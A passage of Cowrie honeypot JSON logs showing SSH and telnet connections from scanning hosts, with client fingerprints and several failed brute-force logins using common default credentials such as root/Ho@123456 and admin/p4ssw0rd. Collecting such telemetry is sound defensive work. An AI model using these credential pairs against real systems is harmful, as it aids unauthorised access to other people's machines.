512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:00.482207Z","src_ip":"125.31.2.160","session":"4715e4dfe975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83898663520813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:00.999088Z","src_ip":"103.157.135.60","session":"c1535caad2ad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p4ssw0rd","message":"login attempt [admin/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:01.386031Z","src_ip":"125.31.2.160","session":"4715e4dfe975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:02.606982Z","src_ip":"125.31.2.160","session":"4715e4dfe975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.236","src_port":39819,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8a422ce6199","protocol":"ssh","message":"New connection: 91.230.168.236:39819 (159.203.135.109:22) [session: c8a422ce6199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:05.005198Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0001\\xa8\u0001\u0000\u0001\\xa4\u0003\u0003\u0019w\u0019\u001f\\x96]\u048cA\\xaa\u0087+\\xeap\\xfd\\xb10\\x830\\xbdz\\xc2\\xf9F\\xdd\\xe4\\x83\u01da\\xff4 3\\xef\\x92\\xe3\\xeb\\x84>\\x8d3\u0010","message":"Remote SSH version: \u0016\u0003\u0003\u0001\\xa8\u0001\u0000\u0001\\xa4\u0003\u0003\u0019w\u0019\u001f\\x96]\u048cA\\xaa\u0087+\\xeap\\xfd\\xb10\\x830\\xbdz\\xc2\\xf9F\\xdd\\xe4\\x83\u01da\\xff4 3\\xef\\x92\\xe3\\xeb\\x84>\\x8d3\u0010","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:05.014999Z","src_ip":"91.230.168.236","session":"c8a422ce6199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:05.019081Z","src_ip":"91.230.168.236","session":"c8a422ce6199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.132","src_port":48583,"dst_ip":"159.203.135.109","dst_port":22,"session":"93050a233375","protocol":"ssh","message":"New connection: 91.230.168.132:48583 (159.203.135.109:22) [session: 93050a233375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:05.163275Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:08.166417Z","src_ip":"91.230.168.132","session":"93050a233375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":54872,"dst_ip":"10.17.0.5","dst_port":23,"session":"bef8fe09b144","protocol":"telnet","message":"New connection: 172.233.212.110:54872 (10.17.0.5:23) [session: bef8fe09b144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:13.678101Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49384,"dst_ip":"159.203.135.109","dst_port":22,"session":"e15d107e24dc","protocol":"ssh","message":"New connection: 159.203.92.129:49384 (159.203.135.109:22) [session: e15d107e24dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:22.999078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:23.003694Z","src_ip":"159.203.92.129","session":"e15d107e24dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:23.008971Z","src_ip":"159.203.92.129","session":"e15d107e24dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin123456","message":"login attempt [ansible/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:23.024084Z","src_ip":"159.203.92.129","session":"e15d107e24dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:24.056363Z","src_ip":"159.203.92.129","session":"e15d107e24dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.914156675338745,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:27.190729Z","src_ip":"185.26.126.47","session":"da925d815821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":58902,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6501caba95f","protocol":"telnet","message":"New connection: 172.233.212.110:58902 (10.17.0.5:23) [session: c6501caba95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:27.872407Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b661ff4b89c","protocol":"telnet","message":"New connection: 185.26.126.47:45906 (159.203.135.109:23) [session: 4b661ff4b89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:35.883875Z"}
{"eventid":"cowrie.session.closed","duration":32.11405634880066,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:45.792014Z","src_ip":"172.233.212.110","session":"bef8fe09b144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":44296,"dst_ip":"10.17.0.5","dst_port":22,"session":"a59894afed28","protocol":"ssh","message":"New connection: 125.31.2.160:44296 (10.17.0.5:22) [session: a59894afed28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:54.875142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:54.879153Z","src_ip":"125.31.2.160","session":"a59894afed28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:55.097067Z","src_ip":"125.31.2.160","session":"a59894afed28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ho@123456","message":"login attempt [root/Ho@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:56.004663Z","src_ip":"125.31.2.160","session":"a59894afed28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:57.225975Z","src_ip":"125.31.2.160","session":"a59894afed28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":44806,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ecfc917480","protocol":"ssh","message":"New connection: 80.94.92.182:44806 (10.17.0.5:22) [session: 57ecfc917480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:58.424543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:58.572104Z","src_ip":"80.94.92.182","session":"57ecfc917480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:58.580315Z","src_ip":"80.94.92.182","session":"57ecfc917480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:00.459816Z","src_ip":"80.94.92.182","session":"57ecfc917480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:01.813945Z","src_ip":"80.94.92.182","session":"57ecfc917480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":35796,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc823ebf141","protocol":"telnet","message":"New connection: 103.157.135.60:35796 (10.17.0.5:23) [session: 0fc823ebf141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:03.576566Z"}
{"eventid":"cowrie.session.closed","duration":37.60887432098389,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:05.481192Z","src_ip":"172.233.212.110","session":"c6501caba95f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55324,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf86ed1f56aa","protocol":"ssh","message":"New connection: 159.203.92.129:55324 (159.203.135.109:22) [session: bf86ed1f56aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:05.557686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:05.562988Z","src_ip":"159.203.92.129","session":"bf86ed1f56aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:05.567567Z","src_ip":"159.203.92.129","session":"bf86ed1f56aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin12345678","message":"login attempt [ansible/admin12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:05.580230Z","src_ip":"159.203.92.129","session":"bf86ed1f56aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:06.588068Z","src_ip":"159.203.92.129","session":"bf86ed1f56aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":55898,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f1b45d15e5","protocol":"telnet","message":"New connection: 139.162.207.207:55898 (10.17.0.5:23) [session: c0f1b45d15e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:08.773929Z"}
{"eventid":"cowrie.session.closed","duration":40.440269231796265,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:16.324027Z","src_ip":"185.26.126.47","session":"4b661ff4b89c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":43352,"dst_ip":"159.203.135.109","dst_port":22,"session":"193335e68732","protocol":"ssh","message":"New connection: 78.128.112.74:43352 (159.203.135.109:22) [session: 193335e68732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:18.455715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:18.655217Z","src_ip":"78.128.112.74","session":"193335e68732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:18.659552Z","src_ip":"78.128.112.74","session":"193335e68732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"wifi","message":"login attempt [user/wifi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:20.012108Z","src_ip":"78.128.112.74","session":"193335e68732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:21.144768Z","src_ip":"78.128.112.74","session":"193335e68732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09827709197998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:34.674720Z","src_ip":"103.157.135.60","session":"0fc823ebf141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":41664,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea0a68d5b172","protocol":"ssh","message":"New connection: 37.143.61.130:41664 (159.203.135.109:22) [session: ea0a68d5b172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:35.477561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:35.577029Z","src_ip":"37.143.61.130","session":"ea0a68d5b172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:35.686072Z","src_ip":"37.143.61.130","session":"ea0a68d5b172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86557412147522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:39.639368Z","src_ip":"139.162.207.207","session":"c0f1b45d15e5","protocol":"telnet"}
